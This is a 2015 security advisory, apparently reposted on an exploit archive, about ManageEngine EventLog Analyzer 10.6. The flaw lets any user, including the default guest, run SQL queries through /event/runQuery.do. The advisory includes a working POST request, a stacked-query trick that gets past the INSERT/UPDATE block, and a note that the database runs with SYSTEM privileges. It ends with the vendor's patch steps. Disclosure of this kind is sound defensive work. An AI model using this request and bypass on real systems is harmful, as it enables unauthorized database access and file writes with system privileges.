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ManageEngine EventLog Analyzer 10.6 Build 10060 SQL Query Execution

ManageEngine EventLog Analyzer 10.6 Build 10060 SQL Query Execution
Posted Sep 16, 2015
Authored by xistence

ManageEngine EventLog Analyzer version 10.6 build 10060 suffers from a SQL query execution vulnerability.

tags | exploit, sql injection
MD5 | c616c5721bf47eec5844de1c6059886b

ManageEngine EventLog Analyzer 10.6 Build 10060 SQL Query Execution

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Exploit Title: ManageEngine EventLog Analyzer SQL query execution
Product: ManageEngine EventLog Analyzer
Vulnerable Versions: v10.6 build 10060 and previous versions
Tested Version: v10.6 build 10060 (Windows)
Advisory Publication: 14/09/2015
Vulnerability Type: authenticated SQL query execution
Credit: xistence <xistence[at]0x90.nl>

Product Description
-------------------

EventLog Analyzer carry out logs analysis for all Windows, Linux and Unix
systems, Switches and Routers (Cisco), other Syslog supporting devices, and
applications like IIS, MS SQL. Eventlog analyzer application is capable of
performing real-time log file analysis. Event log files analyzer
application can carry out log file analysis of imported files. The files
can be imported from the archive or from any machine.

When an important security event is generated on a machine in the network,
event log file analyser application collects, performs log analysis and
displays the event on the EventLog Analyzer Dashboard, in real-time. The
event log report is generated from the analyzed event logs. From the event
log reports (graphs), you can drill down to the raw log events and do a
root cause analysis within minutes, and then focus on resolving it.

The logging analyser application carry out imported and archived log files
analyses to fulfill the requirements of forensic analysis and event log
audit. The forensic and audit reports can be generated from the analyzed
logs.


Vulnerability Details
---------------------

Every user has the ability to execute SQL queries through the
"/event/runQuery.do" script, including the default "guest" user. (The SQL
query option is just not visible in the web interface)
Below is the POST request, executed as "guest":

POST /event/runQuery.do HTTP/1.1
Host: 192.168.2.116:8400
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Cookie: JSESSIONID=XXXXXXXXXX
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 39

execute=true&query=select+version%28%29


Access to queries starting with "INSERT" or "UPDATE" is denied by default,
however this can be bypassed by doing a select query first, like this:

"SELECT 1;INSERT INTO ..."

The included Postgres backend is running with SYSTEM privileges on Windows,
allowing to write files to disk with these privileges.

A Metasploit exploit module will be released shortly.


Solution
--------
ManageEngine has provided a patch to fix this issue, the steps to apply/fix
this are as below:

1. Stop the ELA service.
2. Download the zip from
http://bonitas2.zohocorp.com/zipUploads/2015_14_07_17_52_30_o_19q686iqs1sfemdf19e05sqre61.tar.gz
and extract the folders. You would have two folders "EventLogAnalyzerJSP"
and "LogAnalyzerClient" under "o_19q686iqs1sfemdf19e05sqre61". Copy these
two folders and place it under <ELA Home>//lib/ folder.
3. The path of the following files would be as below:

runQuery_jsp.class --> <ELA
Home>\\lib\\EventLogAnalyzerJSP\\com\\adventnet\\sa\\jsp\\WEB_002dINF\\jsp
RunQuery.class --> <ELA Home>\\lib\\LogAnalyzerClient\\com\\adventnet\\la\

4. Restart the ELA service and check for the issue.


Advisory Timeline
-----------------

07/11/2015 - Discovery and vendor notification
07/13/2015 - ManageEngine acknowledged issue
07/14/2015 - ManageEngine supplied fix
07/16/2015 - Verified fix and replied back to ManageEngine that the issue
has been resolved
09/14/2015 - Public disclosure
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